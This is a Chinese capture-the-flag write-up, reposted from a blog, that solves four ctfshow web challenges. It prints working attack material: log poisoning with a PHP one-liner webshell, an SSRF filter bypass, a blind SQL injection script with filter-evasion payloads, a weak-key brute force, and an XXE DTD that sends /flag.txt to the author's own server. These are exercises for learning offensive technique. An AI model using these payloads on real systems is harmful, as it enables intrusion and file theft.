[CTFSHOW]WEBAK赛


前言:希望自己能一天天逐渐的改变

签到_观己

首先我尝试了一波data伪协议发现被禁止了,想了半天结果忘记了日志包含了害file=/var/log/nginx/access.log

在这里插入图片描述
尝试在UA中放入一句话木马

在这里插入图片描述
芜湖,起飞!
在这里插入图片描述
system("ls /");
在这里插入图片描述
结束
在这里插入图片描述

web1_观字

代码审计,题目的意思是想我们通过curl http://192.168.7.68/flag的回显得到flag,但是.被过滤了,然后我想到了把ip转换为数字,192.168.1.1003232237668这个是等价的(数字地址与IP地址)但是这道题过滤了0我靠,最后看师傅们的wp可以用代替.

<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    
    
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
    
    
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
    
    
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

最后得到了flag
在这里插入图片描述

web2_观星

一看就知道是sql注入的题,经过fuzz发现一堆被禁用的函数
在这里插入图片描述
常规的sql盲注payload大致为
1^if(1=1,1,0)但是我们现在能用的不多
过滤了空格可以用括号代替;
过滤了单引号可以用16进制代替;
过滤了逗号,对于substr可以用 substr(database() from 1 for 1 )代替substr(database(),1,1)
if中有逗号可以用case when代替if;
过滤了 ascii可以用ord代替;
过滤了等号和like可以用regexp代替。
这样上面的常规语句就可以转化为
id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end

import requests
import time
url = "http://0d7d7067-4ff7-4557-a713-af5bd4d3ed35.chall.ctf.show/index.php?id=0^"
flag = ""
for i in range(1, 50):
    for j in range(38, 126):
        # payload="case(ord(substr(database()from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
        # payload="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
        # payload="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
        payload = "case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(1)else(2)end".format(i, j)
        u = url + payload
        r = requests.get(u)
        time.sleep(0.3)
        if "By Rudyard Kipling" in r.text:
            flag += chr(j)
            print(flag)
            break

web3_观图

首先查看源码,发现这个,使用base64解密发现是一堆乱码,把后面image参数去掉后出现源代码在这里插入图片描述
在这里插入图片描述
在PHP官方文档当中我们看到,所以具有爆破的可行性

Note: 在某些平台下(例如 Windows)getrandmax() 只有 32767。如果需要的范围大于 32767,那么指定 min
和 max 参数就可以生成更大的数了,或者考虑用 mt_rand() 来替代之。

最后爆出来是27347

/*author 
    Y4tacker
*/
<?php
for($i=0;$i<32768;$i++){
    
    
    $key = substr(md5('ctfshow'.$i),3,8);
    $image="Z6Ilu83MIDw=";
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(strpos($str,"jpg") or strpos($str,"png") or strpos($str,"gif")){
    
    
        print($i);
        break;
    }
}

接下来就是拿着密钥去生成了呗

<?php
/*author
    Y4tacker
*/
$rand=27347;
$key = substr(md5('ctfshow'.$rand),3,8);
$image="config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo $str;

结束
在这里插入图片描述

web4_观心

我也是先玩了一下,卧槽居然真的是这样的,猜对了,接下里我们查看网页源代码得到提示<!-- flag in filesystem /flag.txt -->
在这里插入图片描述
啊这,说实话我蒙蔽了,然后我去看了下WP,一看到XXE,hh秒懂,当然WP还没看完我打算自己琢磨下,先去我的VPS搞一下,我们这里采用的思路是 通过DTD窃取文件
首先第一个xml文件为

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://test.y4tacker.top/evil.dtd">

接下来

<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://我服务器的ip:7999/?pass=%p1;'>">
%p2;

之后我在我的另一台服务器上面开启了监听
在这里插入图片描述
啊这,草草草监听没用,不知道为啥,反正页面报错出来了flag
,不过猜测应该是内网环境的原因吧在这里插入图片描述

参考文章

SSRF绕过方法总结
XXE漏洞利用技巧:从XML到远程代码执行

猜你喜欢

转载自blog.csdn.net/solitudi/article/details/109412227